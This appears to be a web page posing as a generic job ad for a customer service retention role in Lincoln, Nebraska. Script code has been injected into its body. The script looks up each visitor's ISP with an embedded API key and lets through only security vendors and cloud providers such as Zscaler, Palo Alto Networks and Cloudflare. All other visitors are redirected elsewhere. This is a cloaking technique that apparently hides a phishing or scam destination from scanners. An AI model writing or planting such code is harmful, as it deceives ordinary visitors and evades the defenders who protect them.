Customer Service Retention Specialist

Customer Service Retention Specialist

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Retention Specialist in Lincoln, Nebraska to enhance client satisfaction and foster long-term relationships.

Responsibilities include:

  • Engaging with customers to address inquiries, resolve issues, and provide exceptional service
  • Identifying retention opportunities and proactively reaching out to retain valued clients
  • Collaborating with teams to improve service processes and customer experience
  • Maintaining accurate customer records and tracking retention efforts
  • Gathering feedback to inform service improvements and client satisfaction strategies
  • Skills needed:

  • Excellent communication and interpersonal skills
  • Strong problem-solving abilities
  • Ability to handle challenging situations with professionalism
  • Customer-focused mindset with attention to detail
  • Team player with a proactive attitude
  • Benefits include competitive compensation, health insurance, retirement plans, paid time off, and opportunities for growth. Join us to make a meaningful impact through outstanding customer care.

    Emploment Location
    Lincoln, Nebraska

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